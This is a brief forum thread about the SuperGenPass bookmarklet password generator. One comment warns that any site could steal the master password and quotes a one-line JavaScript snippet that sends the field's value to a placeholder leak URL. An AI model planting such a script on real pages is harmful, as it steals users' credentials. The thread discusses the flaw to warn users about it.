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There is also http://supergenpass.com http://supergenpass.com, which uses a JavaScript bookmarklet to do the hashing.
by jdmichal 13y ago
There is also http://supergenpass.com http://supergenpass.com, which uses a JavaScript bookmarklet to do the hashing.
- A1kmm 13y agoThat is an extremely bad idea. Any site you use can put the following JavaScript in their site to obtain your master password next time you use the bookmarklet: document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = "http://example.org/leak/" http://example.org/leak/" + $("#gp2_master").val()})})
- reconbot 13y agoYou can use an enigmapass or a few of the other browser extensions to avoid this. Also there are iphone and android apps.